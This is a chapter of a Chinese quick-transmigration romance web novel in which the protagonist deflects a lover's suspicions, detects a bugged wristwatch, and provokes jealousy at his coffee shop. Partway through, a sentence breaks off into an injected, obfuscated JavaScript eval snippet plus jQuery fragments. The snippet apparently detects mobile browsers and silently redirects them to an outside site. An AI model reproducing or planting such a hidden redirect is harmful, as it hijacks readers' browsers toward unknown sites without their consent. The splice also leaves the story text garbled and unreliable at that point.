18.第一个世界

作品:《万人迷改拿分手剧本后[快穿]

    一瞬间,容昀枢浑身的汗毛都竖了起来。


    不是因为心虚,而是危机感。


    江琛在怀疑什么?似乎和容昀枢心中想的并不一样。


    他刻意引导童书言知道心理诊所的事,等着江琛质问高中或者是心理咨询的事。结果,江琛问的居然是江琅为什么要寄一朵永生花过来?


    原因很简单,江琅答应过的。


    可容昀枢不能这么说,涉及到太多细节,太容易崩人设。与其费尽心思去撒一个麻烦的谎言,不如避开。


    用一个现成的理由避开。


    “蓝色桔梗花?”容昀枢怔怔看了永生花片刻,脸上绽放出惊喜的笑容。


    他扑过去抱住江琛的脖子,说:“我好喜欢,是你让江琅寄的吧?”


    江琛愣住了,迟疑了几秒才问:“我……让江琅寄的?”


    容昀枢眼中满是幸福,仿佛要溢出来一般。


    “对啊,这桔梗花不就是上次我从云省回来,你接机时送我的吗?那天下暴雨,花被淋坏了,你当时就说要想办法让它能一直留存。没想到,你是让人做成了永生花。”


    江琛微微皱眉,轻轻推开容昀枢。


    他仔细端详着容昀枢的表情,随后轻笑道:“看来你很喜欢这个惊喜?”


    “当然,你送的礼物我都喜欢,可惜这是个装饰品,不能一直带在身上。”


    “这么巧,我还准备了一份礼物。”


    江琛从口袋里拿出一只机械表,银色表身,简约大气,“这是我的成年礼物,也是我最喜欢的一块表。”


    说完,江琛拉过容昀枢的手腕,温柔地给他戴好,“这份礼物呢,喜欢吗?”


    容昀枢:“喜欢。”


    “比永生花更喜欢?”


    容昀枢愣了一下,“什么?”


    “没什么,这份礼物,可以随身携带了,对吗?”


    “嗯,我会天天戴着的。”容昀枢点头应道,“要不在家吃点算了?看你好像有点累。”


    江琛抬手,轻轻摸了摸他的脸颊,“不了,我还有工作要忙,就是过来看看你。先走了。”


    江琛离开后,容昀枢倒进沙发,闭上眼睛长舒一口气。


    系统:[恭喜,任务进度条到达60%。]


    容昀枢:[累死了,无剧本模式自由是真自由,刺激也是真刺激啊。]


    系统:[刚才怎么突然就差点崩人设了?江琛不就问了一句江琅为什么寄东西过来?他的人设不是占有欲强的类型啊。]


    容昀枢:[很正常,“恋爱脑”容昀枢怎么会收其他人的花?还好我反应快,顺势表演了一场病情严重记忆混乱,好在江琛本来就开始怀疑我有病,这才能混过去。]


    系统:[啊?可他不是还送了你一块机械表吗?我刚查过,这表可不便宜,价值抵得上一套房呢。]


    容昀枢:[你扫描一下,这表里可能有点小东西。]


    系统:[小东西?我看看,表里居然有窃听器!你怎么知道的?]


    [当然是基于对江琛性格的了解,做出的合理推测。他向来不喜欢搞送礼物这种小惊喜。]


    容昀枢抬手,对着顶灯观摩表盘折射出的七彩光晕,心想距离完成任务的时间应该不远了。


    只要和江琛分手,就能离开这个世界。


    在这里待了二十几年,他已经有些厌倦千篇一律的风景。而且,他总有一种莫名的危机感。


    无论是屈凌阳、江琅,还是江琛童书言,看似都在按照他设定的路线行动,却又有些微妙的不同。


    容昀枢不喜欢这种感觉,本能地想要逃避。


    [系统,分手之后,我就能立刻脱离这里了对吧?]


    系统:[当然,按照原作者的设定,江琛只是习惯了你所代表的平静生活,内心深处其实在逃避童书言将要带来的巨大变化。]


    容昀枢:[嗯,只要我合理提出分手,就算是推他一把,让他被迫认清自己的真心,与童书言终成眷属。]


    他睁开眼睛,又看到了门口放着的那朵永生花。


    那天晚上,江琅说有办法让这朵代表好运的花永远保存,并不是敷衍,而是认真的承诺。


    容昀枢犹豫片刻,还是拿起永生花,放在了卧室的床头柜上。


    他想把这朵花留下来,因为想珍惜江琅送出这份礼物时的心意。


    容昀枢:[系统,帮我标记一下,离开的时候我要带上这朵永生花。]


    ***


    第二天。


    容昀枢又在楼下看到了顾宥白。


    “顾医生?你不是把我转给你老师了吗?”


    顾宥白:“我现在是老师的助手,辅助他为你治疗。”


    “辅助?我不太明白。”


    顾宥白笑了笑,“老师建议你在熟悉的地方,和熟悉的朋友聊一聊,放松之后会更有利于治疗。我想我是最合适的人选,就自荐来了。”


    他把手里的饭盒递给容昀枢,眼中的笑意在清晨阳光的映照下愈发清澈。


    “早餐,算是小小的贿赂,希望容老板能同意我的申请。”


    “啊,好,不过,我们去哪里呢?”


    顾宥白打开车门,“上车吧,我们去你店里,上次你不是说要请我喝咖啡吗?”


    容昀枢:“可早上店里会很忙,会不会耽误你的时间?”


    “我今天本来就不是以医生的身份来的,只是你一个无所事事的朋友,到咖啡店打发时间,等着你有空的时候过来闲聊几句。”


    顾宥白停顿一下,“可以吗?”


    “好。”


    **


    江琛习惯在清晨喝一杯咖啡。


    认识容昀枢后,这个习惯就变成了喝一杯容昀枢冲泡的咖啡。几年来,除非容昀枢去其他城市,这个习惯从未改变。


    即便怀疑容昀枢有秘密瞒着他,江琛依旧在上班前来到了咖啡店。


    他走向落地窗前的专属座位,却想起那天江琅坐在窗边吃完了一整份春桃慕斯。


    想起江琅,江琛的太阳穴又开始抽痛,折磨了他整晚的烦躁感又浮上心头。


    他不想坐在那个江琅坐过的座位,于是坐在了吧台旁。


    江琛拿出平板,却没点开办公软件,而是怔怔看着吧台后。


    店员很识趣地没有过来打扰,因为他们都知道江琛只喝容昀枢冲的咖啡。


    容昀枢还没来,可江琛也能凭借记忆勾勒出他在吧台后忙碌的样子。


    容昀枢总是穿浅色上衣,系着棕色围裙,背对吧台操作时,围裙总能恰到好处地勾勒出腰身。


    那天,江琅坐在那里,是不是也看到了这一幕?看到的时候,江琅是不是也产生过想要握住那截腰身的冲动?


    “……”


    江琛后知后觉地意识到,他竟然对双胞胎弟弟生出了强烈的敌意。


    这不应该,他不是这种被感情冲昏头脑到胡乱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722339|173408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嫉妒弟弟的人。


    江琛抬手捏了捏眉心,又听到门口风铃响起的声音。


    应该是容昀枢来了。


    他下意识地站起身,想要迎上去,却在看到容昀枢身后的人时,动作瞬间僵住。


    顾宥白为什么会和容昀枢一起来咖啡店?容昀枢回头与顾宥白交谈,脸上带着放松的笑意。


    容昀枢专注地看着顾宥白,甚至没有第一时间注意到吧台前的他。


    这是江琛从来没有感受过的,来自容昀枢的忽视。无论何时何地,容昀枢眼中永远只有他,永远会第一时间走向他。


    可从进门起,容昀枢一眼都没有看他。


    江琛猛地攥紧拳头,指节微微泛白,僵在原地不知所措。


    “这风铃是两年前,我在一个跳蚤市场……”


    “昀枢。”顾宥白示意他,“要不要先招呼一下客人?”


    容昀枢下意识转头,看到了站在吧台前的江琛。


    江琛?啊,对,江琛的习惯是每天都要来喝一杯咖啡。


    容昀枢走向江琛,“江琛,你来了,今天还是老样子?”


    江琛看着容昀枢快步迎上来,瞳孔中只倒映出他的身影,雀跃的声线中饱含着炽热的爱意。


    他隐隐感觉有些不对劲,只看着眼前这张熟悉的脸。


    容昀枢真的是这个样子吗?如此炙热地专注地爱着他,是真的吗?


    “江琛?”


    江琛回过神来,移开视线,“嗯,打包,今天很忙。”


    容昀枢走进吧台,又扬声说了句:“顾学长,你先坐那个位置。”


    江琛顺着看去,发现容昀枢指的是落地窗前靠近柜台的专属座位。他下意识张嘴,却又不知该说些什么。


    不过是一个座位罢了,有什么好在意的。


    他强迫自己不再去看,只是看着吧台内的容昀枢,脑子里却无法控制地在回放刚才的一切。


    容昀枢的声音和表情,还有他对着顾宥白时看起来更真实的笑容。


    直到纸袋被推到面前,江琛才回过神来。


    “江琛?好了,你昨天没睡好吗?”容昀枢语气轻柔,满是关切。


    “没有。”江琛才察觉到掌心有些刺痛。


    他慌乱收手,拿过打包好的咖啡,生怕被容昀枢发现他竟然失控地掐破了掌心。


    包装纸袋上依旧写着最佳食用时间,可那朵总是斜插在纸袋上的花却消失了。


    江琛看向容昀枢的手侧,花店刚送来的桔梗花明明就插在花瓶里。


    “昀枢,包装袋里是不是少了什么?”


    容昀枢一脸疑惑地问:“怎么了?忘了什么吗?咖啡是翡翠瑰夏,玛德琳蛋糕也刚复热过了。”


    他拿过纸袋检查时,袖口往后缩,露出戴在腕间的机械表。


    “没事。”江琛拿过纸袋,转身便走,背影竟然显得有些狼狈。


    “江……”


    容昀枢刚要跟着走出吧台,却听到顾宥白说了一句。


    “昀枢,能给我一杯刚才江总喝的那种豆子冲的咖啡吗?闻起来好香。”


    “啊,好的。请稍等。”


    容昀枢停下脚步,转身走回顾宥白身边。


    反正,江琛对于已经开始痊愈的“容昀枢”来说,并没有那么重要。


    他会少给一支鲜花,少几句关心问候,多几分虚假的笑容和爱意,直到忍无可忍的江琛主动去探究那个关键的秘密。